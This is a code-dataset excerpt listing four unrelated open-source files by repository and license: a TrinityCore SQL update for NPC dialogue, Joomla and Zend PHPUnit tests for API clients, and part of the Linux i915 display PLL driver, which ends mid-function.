repo_name
stringlengths
4
116
path
stringlengths
3
942
size
stringlengths
1
7
content
stringlengths
3
1.05M
license
stringclasses
15 values
lasyan3/TrinityCore
sql/updates/world/3.3.5/2018_06_21_01_world.sql
1225
-- Scarlet Crusader (28529) DELETE FROM `creature_text` WHERE `CreatureID`=28529; INSERT INTO `creature_text` (`CreatureID`,`GroupID`,`ID`,`Text`,`Type`,`Language`,`Probability`,`Emote`,`Duration`,`Sound`,`BroadcastTextId`,`TextRange`,`comment`) VALUES (28529,0,0,'Death stalks us! Destroy it!',12,0,100,0,0,0,28488,0,'Scarlet Crusader'), (28529,0,1,'Begone foul demon!',12,0,100,0,0,0,28489,0,'Scarlet Crusader'), (28529,0,2,'\'Tis the work of the Scourge!',12,0,100,0,0,0,28490,0,'Scarlet Crusader'), (28529,0,3,'Scourge! Do not let it escape!',12,0,100,0,0,0,28491,0,'Scarlet Crusader'); DELETE FROM `smart_scripts` WHERE `entryorguid`=28529 AND `source_type`=0 and `id`=1; INSERT INTO `smart_scripts` (`entryorguid`,`source_type`,`id`,`link`,`event_type`,`event_phase_mask`,`event_chance`,`event_flags`,`event_param1`,`event_param2`,`event_param3`,`event_param4`,`event_param5`,`action_type`,`action_param1`,`action_param2`,`action_param3`,`action_param4`,`action_param5`,`action_param6`,`target_type`,`target_param1`,`target_param2`,`target_param3`,`target_x`,`target_y`,`target_z`,`target_o`,`comment`) VALUES (28529,0,1,0,4,0,50,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,'Scarlet Crusader - On Aggro - Say Line 0');
gpl-2.0
810/joomla-cms
tests/unit/suites/libraries/joomla/linkedin/JLinkedinPeopleTest.php
13369
<?php /** * @package Joomla.UnitTest * @subpackage Linkedin * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Test class for JLinkedinPeople. * * @package Joomla.UnitTest * @subpackage Linkedin * @since 3.2.0 */ class JLinkedinPeopleTest extends TestCase { /** * @var JRegistry Options for the Linkedin object. * @since 3.2.0 */ protected $options; /** * @var JHttp Mock http object. * @since 3.2.0 */ protected $client; /** * @var JInput The input object to use in retrieving GET/POST data. * @since 3.2.0 */ protected $input; /** * @var JLinkedinPeople Object under test. * @since 3.2.0 */ protected $object; /** * @var JLinkedinOAuth Authentication object for the Twitter object. * @since 3.2.0 */ protected $oauth; /** * @var string Sample JSON string. * @since 3.2.0 */ protected $sampleString = '{"a":1,"b":2,"c":3,"d":4,"e":5}'; /** * @var string Sample JSON string used to access out of network profiles. * @since 3.2.0 */ protected $outString = '{"headers": { "_total": 1, "values": [{ "name": "x-li-auth-token", "value": "NAME_SEARCH:-Ogn" }] }, "url": "/v1/people/oAFz-3CZyv"}'; /** * @var string Sample JSON error message. * @since 3.2.0 */ protected $errorString = '{"errorCode":401, "message": "Generic error"}'; /** * Backup of the SERVER superglobal * * @var array * @since 3.6 */ protected $backupServer; /** * Sets up the fixture, for example, opens a network connection. * This method is called before a test is executed. * * @return void */ protected function setUp() { parent::setUp(); $this->backupServer = $_SERVER; $_SERVER['HTTP_HOST'] = 'example.com'; $_SERVER['HTTP_USER_AGENT'] = 'Mozilla/5.0'; $_SERVER['REQUEST_URI'] = '/index.php'; $_SERVER['SCRIPT_NAME'] = '/index.php'; $key = "app_key"; $secret = "app_secret"; $my_url = "http://127.0.0.1/gsoc/joomla-platform/linkedin_test.php"; $this->options = new JRegistry; $this->input = new JInput; $this->client = $this->getMockBuilder('JHttp')->setMethods(array('get', 'post', 'delete', 'put'))->getMock(); $this->oauth = new JLinkedinOauth($this->options, $this->client, $this->input); $this->oauth->setToken(array('key' => $key, 'secret' => $secret)); $this->object = new JLinkedinPeople($this->options, $this->client, $this->oauth); $this->options->set('consumer_key', $key); $this->options->set('consumer_secret', $secret); $this->options->set('callback', $my_url); } /** * Tears down the fixture, for example, closes a network connection. * This method is called after a test is executed. * * @return void * * @see \PHPUnit\Framework\TestCase::tearDown() * @since 3.6 */ protected function tearDown() { $_SERVER = $this->backupServer; unset($this->backupServer, $this->options, $this->input, $this->client, $this->oauth, $this->object); parent::tearDown(); } /** * Provides test data for request format detection. * * @return array * * @since 3.2.0 */ public function seedIdUrl() { // Member ID or url return array( array('lcnIwDU0S6', null), array(null, 'http://www.linkedin.com/in/dianaprajescu'), array(null, null) ); } /** * Tests the getProfile method * * @param string $id Member id of the profile you want. * @param string $url The public profile URL. * * @return void * * @dataProvider seedIdUrl * @since 3.2.0 */ public function testGetProfile($id, $url) { $fields = '(id,first-name,last-name)'; $language = 'en-US'; // Set request parameters. $data['format'] = 'json'; $path = '/v1/people/'; if ($url) { $path .= 'url=' . $this->oauth->safeEncode($url) . ':public'; $type = 'public'; } else { $type = 'standard'; } if ($id) { $path .= 'id=' . $id; } elseif (!$url) { $path .= '~'; } $path .= ':' . $fields; $header = array('Accept-Language' => $language); $returnData = new stdClass; $returnData->code = 200; $returnData->body = $this->sampleString; $path = $this->oauth->toUrl($path, $data); $this->client->expects($this->once()) ->method('get', $header) ->with($path) ->will($this->returnValue($returnData)); $this->assertThat( $this->object->getProfile($id, $url, $fields, $type, $language), $this->equalTo(json_decode($this->sampleString)) ); } /** * Tests the getProfile method - failure * * @param string $id Member id of the profile you want. * @param string $url The public profile URL. * * @return void * * @dataProvider seedIdUrl * @since 3.2.0 * @expectedException DomainException */ public function testGetProfileFailure($id, $url) { $fields = '(id,first-name,last-name)'; $language = 'en-US'; // Set request parameters. $data['format'] = 'json'; $path = '/v1/people/'; if ($url) { $path .= 'url=' . $this->oauth->safeEncode($url) . ':public'; $type = 'public'; } else { $type = 'standard'; } if ($id) { $path .= 'id=' . $id; } elseif (!$url) { $path .= '~'; } $path .= ':' . $fields; $header = array('Accept-Language' => $language); $returnData = new stdClass; $returnData->code = 401; $returnData->body = $this->errorString; $path = $this->oauth->toUrl($path, $data); $this->client->expects($this->once()) ->method('get', $header) ->with($path) ->will($this->returnValue($returnData)); $this->object->getProfile($id, $url, $fields, $type, $language); } /** * Tests the getConnections method * * @return void * * @since 3.2.0 */ public function testGetConnections() { $fields = '(id,first-name,last-name)'; $start = 1; $count = 50; $modified = 'new'; $modified_since = '1267401600000'; // Set request parameters. $data['format'] = 'json'; $data['start'] = $start; $data['count'] = $count; $data['modified'] = $modified; $data['modified-since'] = $modified_since; $path = '/v1/people/~/connections'; $path .= ':' . $fields; $returnData = new stdClass; $returnData->code = 200; $returnData->body = $this->sampleString; $path = $this->oauth->toUrl($path, $data); $this->client->expects($this->once()) ->method('get') ->with($path) ->will($this->returnValue($returnData)); $this->assertThat( $this->object->getConnections($fields, $start, $count, $modified, $modified_since), $this->equalTo(json_decode($this->sampleString)) ); } /** * Tests the getConnections method - failure * * @return void * * @since 3.2.0 * @expectedException DomainException */ public function testGetConnectionsFailure() { $fields = '(id,first-name,last-name)'; $start = 1; $count = 50; $modified = 'new'; $modified_since = '1267401600000'; // Set request parameters. $data['format'] = 'json'; $data['start'] = $start; $data['count'] = $count; $data['modified'] = $modified; $data['modified-since'] = $modified_since; $path = '/v1/people/~/connections'; $path .= ':' . $fields; $returnData = new stdClass; $returnData->code = 401; $returnData->body = $this->errorString; $path = $this->oauth->toUrl($path, $data); $this->client->expects($this->once()) ->method('get') ->with($path) ->will($this->returnValue($returnData)); $this->object->getConnections($fields, $start, $count, $modified, $modified_since); } /** * Provides test data for request format detection. * * @return array * * @since 3.2.0 */ public function seedFields() { // Fields return array( array('(people:(id,first-name,last-name,api-standard-profile-request))'), array('(people:(id,first-name,last-name))') ); } /** * Tests the search method * * @param string $fields Request fields beyond the default ones. provide 'api-standard-profile-request' field for out of network profiles. * * @return void * * @dataProvider seedFields * @since 3.2.0 */ public function testSearch($fields) { $keywords = 'Princess'; $first_name = 'Clair'; $last_name = 'Standish'; $company_name = 'Smth'; $current_company = true; $title = 'developer'; $current_title = true; $school_name = 'Shermer High School'; $current_school = true; $country_code = 'us'; $postal_code = 12345; $distance = 500; $facets = 'location,industry,network,language,current-company,past-company,school'; $facet = array('us-84', 47, 'F', 'en', 1006, 1028, 2345); $start = 1; $count = 50; $sort = 'distance'; // Set request parameters. $data['format'] = 'json'; $data['keywords'] = $keywords; $data['first-name'] = $first_name; $data['last-name'] = $last_name; $data['company-name'] = $company_name; $data['current-company'] = $current_company; $data['title'] = $title; $data['current-title'] = $current_title; $data['school-name'] = $school_name; $data['current-school'] = $current_school; $data['country-code'] = $country_code; $data['postal-code'] = $postal_code; $data['distance'] = $distance; $data['facets'] = $facets; $data['facet'] = array(); $data['facet'][] = 'location,' . $facet[0]; $data['facet'][] = 'industry,' . $facet[1]; $data['facet'][] = 'network,' . $facet[2]; $data['facet'][] = 'language,' . $facet[3]; $data['facet'][] = 'current-company,' . $facet[4]; $data['facet'][] = 'past-company,' . $facet[5]; $data['facet'][] = 'school,' . $facet[6]; $data['start'] = $start; $data['count'] = $count; $data['sort'] = $sort; $path = '/v1/people-search'; $path .= ':' . $fields; $returnData = new stdClass; $returnData->code = 200; $returnData->body = $this->sampleString; $path = $this->oauth->toUrl($path, $data); if (strpos($fields, 'api-standard-profile-request') === false) { $this->client->expects($this->once()) ->method('get') ->with($path) ->will($this->returnValue($returnData)); } else { $returnData = new stdClass; $returnData->code = 200; $returnData->body = $this->outString; $this->client->expects($this->at(0)) ->method('get') ->with($path) ->will($this->returnValue($returnData)); $returnData = new stdClass; $returnData->code = 200; $returnData->body = $this->sampleString; $path = '/v1/people/oAFz-3CZyv'; $path = $this->oauth->toUrl($path, $data); $name = 'x-li-auth-token'; $value = 'NAME_SEARCH:-Ogn'; $header[$name] = $value; $this->client->expects($this->at(1)) ->method('get', $header) ->with($path) ->will($this->returnValue($returnData)); } $this->assertThat( $this->object->search( $fields, $keywords, $first_name, $last_name, $company_name, $current_company, $title, $current_title, $school_name, $current_school, $country_code, $postal_code, $distance, $facets, $facet, $start, $count, $sort ), $this->equalTo(json_decode($this->sampleString)) ); } /** * Tests the search method - failure * * @return void * * @since 3.2.0 * @expectedException DomainException */ public function testSearchFailure() { $fields = '(id,first-name,last-name)'; $keywords = 'Princess'; $first_name = 'Clair'; $last_name = 'Standish'; $company_name = 'Smth'; $current_company = true; $title = 'developer'; $current_title = true; $school_name = 'Shermer High School'; $current_school = true; $country_code = 'us'; $postal_code = 12345; $distance = 500; $facets = 'location,industry,network,language,current-company,past-company,school'; $facet = array('us-84', 47, 'F', 'en', 1006, 1028, 2345); $start = 1; $count = 50; $sort = 'distance'; // Set request parameters. $data['format'] = 'json'; $data['keywords'] = $keywords; $data['first-name'] = $first_name; $data['last-name'] = $last_name; $data['company-name'] = $company_name; $data['current-company'] = $current_company; $data['title'] = $title; $data['current-title'] = $current_title; $data['school-name'] = $school_name; $data['current-school'] = $current_school; $data['country-code'] = $country_code; $data['postal-code'] = $postal_code; $data['distance'] = $distance; $data['facets'] = $facets; $data['facet'] = array(); $data['facet'][] = 'location,' . $facet[0]; $data['facet'][] = 'industry,' . $facet[1]; $data['facet'][] = 'network,' . $facet[2]; $data['facet'][] = 'language,' . $facet[3]; $data['facet'][] = 'current-company,' . $facet[4]; $data['facet'][] = 'past-company,' . $facet[5]; $data['facet'][] = 'school,' . $facet[6]; $data['start'] = $start; $data['count'] = $count; $data['sort'] = $sort; $path = '/v1/people-search'; $path .= ':' . $fields; $returnData = new stdClass; $returnData->code = 401; $returnData->body = $this->errorString; $path = $this->oauth->toUrl($path, $data); $this->client->expects($this->once()) ->method('get') ->with($path) ->will($this->returnValue($returnData)); $this->object->search( $fields, $keywords, $first_name, $last_name, $company_name, $current_company, $title, $current_title, $school_name, $current_school, $country_code, $postal_code, $distance, $facets, $facet, $start, $count, $sort ); } }
gpl-2.0
akellehe/Restructuring-the-Edifice
wp-includes/ZendGdata-1.11.11/tests/Zend/Gdata/Gbase/QueryTest.php
1464
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to [email protected] so we can send you a copy immediately. * * @category Zend * @package Zend_Gdata_Gbase * @subpackage UnitTests * @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id $ */ require_once 'Zend/Gdata/Gbase.php'; require_once 'Zend/Gdata/Gbase/Query.php'; require_once 'Zend/Http/Client.php'; /** * @category Zend * @package Zend_Gdata_Gbase * @subpackage UnitTests * @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @group Zend_Gdata * @group Zend_Gdata_Gbase */ class Zend_Gdata_Gbase_QueryTest extends PHPUnit_Framework_TestCase { public function setUp() { $this->query = new Zend_Gdata_Gbase_Query(); } public function testKey() { $this->query->setKey('xyz'); $this->assertEquals($this->query->getKey(), 'xyz'); } }
gpl-2.0
uniphier/linux-unph
drivers/gpu/drm/i915/intel_dpll_mgr.c
89887
/* * Copyright © 2006-2016 Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ #include "intel_drv.h" /** * DOC: Display PLLs * * Display PLLs used for driving outputs vary by platform. While some have * per-pipe or per-encoder dedicated PLLs, others allow the use of any PLL * from a pool. In the latter scenario, it is possible that multiple pipes * share a PLL if their configurations match. * * This file provides an abstraction over display PLLs. The function * intel_shared_dpll_init() initializes the PLLs for the given platform. The * users of a PLL are tracked and that tracking is integrated with the atomic * modest interface. During an atomic operation, a PLL can be requested for a * given CRTC and encoder configuration by calling intel_get_shared_dpll() and * a previously used PLL can be released with intel_release_shared_dpll(). * Changes to the users are first staged in the atomic state, and then made * effective by calling intel_shared_dpll_swap_state() during the atomic * commit phase. */ static void intel_atomic_duplicate_dpll_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll_state *shared_dpll) { enum intel_dpll_id i; /* Copy shared dpll state */ for (i = 0; i < dev_priv->num_shared_dpll; i++) { struct intel_shared_dpll *pll = &dev_priv->shared_dplls[i]; shared_dpll[i] = pll->state; } } static struct intel_shared_dpll_state * intel_atomic_get_shared_dpll_state(struct drm_atomic_state *s) { struct intel_atomic_state *state = to_intel_atomic_state(s); WARN_ON(!drm_modeset_is_locked(&s->dev->mode_config.connection_mutex)); if (!state->dpll_set) { state->dpll_set = true; intel_atomic_duplicate_dpll_state(to_i915(s->dev), state->shared_dpll); } return state->shared_dpll; } /** * intel_get_shared_dpll_by_id - get a DPLL given its id * @dev_priv: i915 device instance * @id: pll id * * Returns: * A pointer to the DPLL with @id */ struct intel_shared_dpll * intel_get_shared_dpll_by_id(struct drm_i915_private *dev_priv, enum intel_dpll_id id) { return &dev_priv->shared_dplls[id]; } /** * intel_get_shared_dpll_id - get the id of a DPLL * @dev_priv: i915 device instance * @pll: the DPLL * * Returns: * The id of @pll */ enum intel_dpll_id intel_get_shared_dpll_id(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { if (WARN_ON(pll < dev_priv->shared_dplls|| pll > &dev_priv->shared_dplls[dev_priv->num_shared_dpll])) return -1; return (enum intel_dpll_id) (pll - dev_priv->shared_dplls); } /* For ILK+ */ void assert_shared_dpll(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, bool state) { bool cur_state; struct intel_dpll_hw_state hw_state; if (WARN(!pll, "asserting DPLL %s with no DPLL\n", onoff(state))) return; cur_state = pll->info->funcs->get_hw_state(dev_priv, pll, &hw_state); I915_STATE_WARN(cur_state != state, "%s assertion failure (expected %s, current %s)\n", pll->info->name, onoff(state), onoff(cur_state)); } /** * intel_prepare_shared_dpll - call a dpll's prepare hook * @crtc_state: CRTC, and its state, which has a shared dpll * * This calls the PLL's prepare hook if it has one and if the PLL is not * already enabled. The prepare hook is platform specific. */ void intel_prepare_shared_dpll(const struct intel_crtc_state *crtc_state) { struct intel_crtc *crtc = to_intel_crtc(crtc_state->base.crtc); struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); struct intel_shared_dpll *pll = crtc_state->shared_dpll; if (WARN_ON(pll == NULL)) return; mutex_lock(&dev_priv->dpll_lock); WARN_ON(!pll->state.crtc_mask); if (!pll->active_mask) { DRM_DEBUG_DRIVER("setting up %s\n", pll->info->name); WARN_ON(pll->on); assert_shared_dpll_disabled(dev_priv, pll); pll->info->funcs->prepare(dev_priv, pll); } mutex_unlock(&dev_priv->dpll_lock); } /** * intel_enable_shared_dpll - enable a CRTC's shared DPLL * @crtc_state: CRTC, and its state, which has a shared DPLL * * Enable the shared DPLL used by @crtc. */ void intel_enable_shared_dpll(const struct intel_crtc_state *crtc_state) { struct intel_crtc *crtc = to_intel_crtc(crtc_state->base.crtc); struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); struct intel_shared_dpll *pll = crtc_state->shared_dpll; unsigned int crtc_mask = drm_crtc_mask(&crtc->base); unsigned int old_mask; if (WARN_ON(pll == NULL)) return; mutex_lock(&dev_priv->dpll_lock); old_mask = pll->active_mask; if (WARN_ON(!(pll->state.crtc_mask & crtc_mask)) || WARN_ON(pll->active_mask & crtc_mask)) goto out; pll->active_mask |= crtc_mask; DRM_DEBUG_KMS("enable %s (active %x, on? %d) for crtc %d\n", pll->info->name, pll->active_mask, pll->on, crtc->base.base.id); if (old_mask) { WARN_ON(!pll->on); assert_shared_dpll_enabled(dev_priv, pll); goto out; } WARN_ON(pll->on); DRM_DEBUG_KMS("enabling %s\n", pll->info->name); pll->info->funcs->enable(dev_priv, pll); pll->on = true; out: mutex_unlock(&dev_priv->dpll_lock); } /** * intel_disable_shared_dpll - disable a CRTC's shared DPLL * @crtc_state: CRTC, and its state, which has a shared DPLL * * Disable the shared DPLL used by @crtc. */ void intel_disable_shared_dpll(const struct intel_crtc_state *crtc_state) { struct intel_crtc *crtc = to_intel_crtc(crtc_state->base.crtc); struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); struct intel_shared_dpll *pll = crtc_state->shared_dpll; unsigned int crtc_mask = drm_crtc_mask(&crtc->base); /* PCH only available on ILK+ */ if (INTEL_GEN(dev_priv) < 5) return; if (pll == NULL) return; mutex_lock(&dev_priv->dpll_lock); if (WARN_ON(!(pll->active_mask & crtc_mask))) goto out; DRM_DEBUG_KMS("disable %s (active %x, on? %d) for crtc %d\n", pll->info->name, pll->active_mask, pll->on, crtc->base.base.id); assert_shared_dpll_enabled(dev_priv, pll); WARN_ON(!pll->on); pll->active_mask &= ~crtc_mask; if (pll->active_mask) goto out; DRM_DEBUG_KMS("disabling %s\n", pll->info->name); pll->info->funcs->disable(dev_priv, pll); pll->on = false; out: mutex_unlock(&dev_priv->dpll_lock); } static struct intel_shared_dpll * intel_find_shared_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, enum intel_dpll_id range_min, enum intel_dpll_id range_max) { struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); struct intel_shared_dpll *pll; struct intel_shared_dpll_state *shared_dpll; enum intel_dpll_id i; shared_dpll = intel_atomic_get_shared_dpll_state(crtc_state->base.state); for (i = range_min; i <= range_max; i++) { pll = &dev_priv->shared_dplls[i]; /* Only want to check enabled timings first */ if (shared_dpll[i].crtc_mask == 0) continue; if (memcmp(&crtc_state->dpll_hw_state, &shared_dpll[i].hw_state, sizeof(crtc_state->dpll_hw_state)) == 0) { DRM_DEBUG_KMS("[CRTC:%d:%s] sharing existing %s (crtc mask 0x%08x, active %x)\n", crtc->base.base.id, crtc->base.name, pll->info->name, shared_dpll[i].crtc_mask, pll->active_mask); return pll; } } /* Ok no matching timings, maybe there's a free one? */ for (i = range_min; i <= range_max; i++) { pll = &dev_priv->shared_dplls[i]; if (shared_dpll[i].crtc_mask == 0) { DRM_DEBUG_KMS("[CRTC:%d:%s] allocated %s\n", crtc->base.base.id, crtc->base.name, pll->info->name); return pll; } } return NULL; } static void intel_reference_shared_dpll(struct intel_shared_dpll *pll, struct intel_crtc_state *crtc_state) { struct intel_shared_dpll_state *shared_dpll; struct intel_crtc *crtc = to_intel_crtc(crtc_state->base.crtc); const enum intel_dpll_id id = pll->info->id; shared_dpll = intel_atomic_get_shared_dpll_state(crtc_state->base.state); if (shared_dpll[id].crtc_mask == 0) shared_dpll[id].hw_state = crtc_state->dpll_hw_state; crtc_state->shared_dpll = pll; DRM_DEBUG_DRIVER("using %s for pipe %c\n", pll->info->name, pipe_name(crtc->pipe)); shared_dpll[id].crtc_mask |= 1 << crtc->pipe; } /** * intel_shared_dpll_swap_state - make atomic DPLL configuration effective * @state: atomic state * * This is the dpll version of drm_atomic_helper_swap_state() since the * helper does not handle driver-specific global state. * * For consistency with atomic helpers this function does a complete swap, * i.e. it also puts the current state into @state, even though there is no * need for that at this moment. */ void intel_shared_dpll_swap_state(struct drm_atomic_state *state) { struct drm_i915_private *dev_priv = to_i915(state->dev); struct intel_shared_dpll_state *shared_dpll; struct intel_shared_dpll *pll; enum intel_dpll_id i; if (!to_intel_atomic_state(state)->dpll_set) return; shared_dpll = to_intel_atomic_state(state)->shared_dpll; for (i = 0; i < dev_priv->num_shared_dpll; i++) { struct intel_shared_dpll_state tmp; pll = &dev_priv->shared_dplls[i]; tmp = pll->state; pll->state = shared_dpll[i]; shared_dpll[i] = tmp; } } static bool ibx_pch_dpll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { const enum intel_dpll_id id = pll->info->id; uint32_t val; if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; val = I915_READ(PCH_DPLL(id)); hw_state->dpll = val; hw_state->fp0 = I915_READ(PCH_FP0(id)); hw_state->fp1 = I915_READ(PCH_FP1(id)); intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return val & DPLL_VCO_ENABLE; } static void ibx_pch_dpll_prepare(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; I915_WRITE(PCH_FP0(id), pll->state.hw_state.fp0); I915_WRITE(PCH_FP1(id), pll->state.hw_state.fp1); } static void ibx_assert_pch_refclk_enabled(struct drm_i915_private *dev_priv) { u32 val; bool enabled; I915_STATE_WARN_ON(!(HAS_PCH_IBX(dev_priv) || HAS_PCH_CPT(dev_priv))); val = I915_READ(PCH_DREF_CONTROL); enabled = !!(val & (DREF_SSC_SOURCE_MASK | DREF_NONSPREAD_SOURCE_MASK | DREF_SUPERSPREAD_SOURCE_MASK)); I915_STATE_WARN(!enabled, "PCH refclk assertion failure, should be active but is disabled\n"); } static void ibx_pch_dpll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; /* PCH refclock must be enabled first */ ibx_assert_pch_refclk_enabled(dev_priv); I915_WRITE(PCH_DPLL(id), pll->state.hw_state.dpll); /* Wait for the clocks to stabilize. */ POSTING_READ(PCH_DPLL(id)); udelay(150); /* The pixel multiplier can only be updated once the * DPLL is enabled and the clocks are stable. * * So write it again. */ I915_WRITE(PCH_DPLL(id), pll->state.hw_state.dpll); POSTING_READ(PCH_DPLL(id)); udelay(200); } static void ibx_pch_dpll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; I915_WRITE(PCH_DPLL(id), 0); POSTING_READ(PCH_DPLL(id)); udelay(200); } static struct intel_shared_dpll * ibx_get_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder) { struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); struct intel_shared_dpll *pll; enum intel_dpll_id i; if (HAS_PCH_IBX(dev_priv)) { /* Ironlake PCH has a fixed PLL->PCH pipe mapping. */ i = (enum intel_dpll_id) crtc->pipe; pll = &dev_priv->shared_dplls[i]; DRM_DEBUG_KMS("[CRTC:%d:%s] using pre-allocated %s\n", crtc->base.base.id, crtc->base.name, pll->info->name); } else { pll = intel_find_shared_dpll(crtc, crtc_state, DPLL_ID_PCH_PLL_A, DPLL_ID_PCH_PLL_B); } if (!pll) return NULL; /* reference the pll */ intel_reference_shared_dpll(pll, crtc_state); return pll; } static void ibx_dump_hw_state(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state) { DRM_DEBUG_KMS("dpll_hw_state: dpll: 0x%x, dpll_md: 0x%x, " "fp0: 0x%x, fp1: 0x%x\n", hw_state->dpll, hw_state->dpll_md, hw_state->fp0, hw_state->fp1); } static const struct intel_shared_dpll_funcs ibx_pch_dpll_funcs = { .prepare = ibx_pch_dpll_prepare, .enable = ibx_pch_dpll_enable, .disable = ibx_pch_dpll_disable, .get_hw_state = ibx_pch_dpll_get_hw_state, }; static void hsw_ddi_wrpll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; I915_WRITE(WRPLL_CTL(id), pll->state.hw_state.wrpll); POSTING_READ(WRPLL_CTL(id)); udelay(20); } static void hsw_ddi_spll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { I915_WRITE(SPLL_CTL, pll->state.hw_state.spll); POSTING_READ(SPLL_CTL); udelay(20); } static void hsw_ddi_wrpll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; uint32_t val; val = I915_READ(WRPLL_CTL(id)); I915_WRITE(WRPLL_CTL(id), val & ~WRPLL_PLL_ENABLE); POSTING_READ(WRPLL_CTL(id)); } static void hsw_ddi_spll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { uint32_t val; val = I915_READ(SPLL_CTL); I915_WRITE(SPLL_CTL, val & ~SPLL_PLL_ENABLE); POSTING_READ(SPLL_CTL); } static bool hsw_ddi_wrpll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { const enum intel_dpll_id id = pll->info->id; uint32_t val; if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; val = I915_READ(WRPLL_CTL(id)); hw_state->wrpll = val; intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return val & WRPLL_PLL_ENABLE; } static bool hsw_ddi_spll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { uint32_t val; if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; val = I915_READ(SPLL_CTL); hw_state->spll = val; intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return val & SPLL_PLL_ENABLE; } #define LC_FREQ 2700 #define LC_FREQ_2K U64_C(LC_FREQ * 2000) #define P_MIN 2 #define P_MAX 64 #define P_INC 2 /* Constraints for PLL good behavior */ #define REF_MIN 48 #define REF_MAX 400 #define VCO_MIN 2400 #define VCO_MAX 4800 struct hsw_wrpll_rnp { unsigned p, n2, r2; }; static unsigned hsw_wrpll_get_budget_for_freq(int clock) { unsigned budget; switch (clock) { case 25175000: case 25200000: case 27000000: case 27027000: case 37762500: case 37800000: case 40500000: case 40541000: case 54000000: case 54054000: case 59341000: case 59400000: case 72000000: case 74176000: case 74250000: case 81000000: case 81081000: case 89012000: case 89100000: case 108000000: case 108108000: case 111264000: case 111375000: case 148352000: case 148500000: case 162000000: case 162162000: case 222525000: case 222750000: case 296703000: case 297000000: budget = 0; break; case 233500000: case 245250000: case 247750000: case 253250000: case 298000000: budget = 1500; break; case 169128000: case 169500000: case 179500000: case 202000000: budget = 2000; break; case 256250000: case 262500000: case 270000000: case 272500000: case 273750000: case 280750000: case 281250000: case 286000000: case 291750000: budget = 4000; break; case 267250000: case 268500000: budget = 5000; break; default: budget = 1000; break; } return budget; } static void hsw_wrpll_update_rnp(uint64_t freq2k, unsigned budget, unsigned r2, unsigned n2, unsigned p, struct hsw_wrpll_rnp *best) { uint64_t a, b, c, d, diff, diff_best; /* No best (r,n,p) yet */ if (best->p == 0) { best->p = p; best->n2 = n2; best->r2 = r2; return; } /* * Output clock is (LC_FREQ_2K / 2000) * N / (P * R), which compares to * freq2k. * * delta = 1e6 * * abs(freq2k - (LC_FREQ_2K * n2/(p * r2))) / * freq2k; * * and we would like delta <= budget. * * If the discrepancy is above the PPM-based budget, always prefer to * improve upon the previous solution. However, if you're within the * budget, try to maximize Ref * VCO, that is N / (P * R^2). */ a = freq2k * budget * p * r2; b = freq2k * budget * best->p * best->r2; diff = abs_diff(freq2k * p * r2, LC_FREQ_2K * n2); diff_best = abs_diff(freq2k * best->p * best->r2, LC_FREQ_2K * best->n2); c = 1000000 * diff; d = 1000000 * diff_best; if (a < c && b < d) { /* If both are above the budget, pick the closer */ if (best->p * best->r2 * diff < p * r2 * diff_best) { best->p = p; best->n2 = n2; 